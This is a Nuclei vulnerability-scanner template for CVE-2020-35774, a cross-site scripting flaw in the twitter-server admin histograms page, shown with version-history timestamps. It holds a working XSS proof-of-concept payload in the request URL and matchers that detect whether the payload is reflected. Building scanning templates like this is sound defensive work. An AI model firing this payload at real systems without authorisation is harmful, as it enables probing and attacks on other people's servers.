nuclei-templates/http/cves/2020/CVE-2020-35774.yaml

43 lines
1.3 KiB
YAML
Raw Normal View History

2021-07-27 03:31:48 +00:00
id: CVE-2020-35774
info:
name: twitter-server Cross-Site Scripting
2021-07-27 03:31:48 +00:00
author: pikpikcu
severity: medium
description: |
twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
reference:
- https://advisory.checkmarx.net/advisory/CX-2020-4287
- https://nvd.nist.gov/vuln/detail/CVE-2020-35774
- https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
- https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-35774
cwe-id: CWE-79
tags: cve,cve2020,xss,twitter-server
2021-07-27 03:31:48 +00:00
http:
2021-07-27 03:31:48 +00:00
- method: GET
path:
2021-07-27 05:08:46 +00:00
- "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
2021-07-27 03:31:48 +00:00
matchers-condition: and
matchers:
- type: word
part: body
2021-07-27 03:31:48 +00:00
words:
2021-07-27 05:08:46 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-27 03:31:48 +00:00
- type: status
status:
- 200
2021-07-27 05:10:55 +00:00
- type: word
part: header
words:
- text/html
# Enhanced by mp on 2022/04/04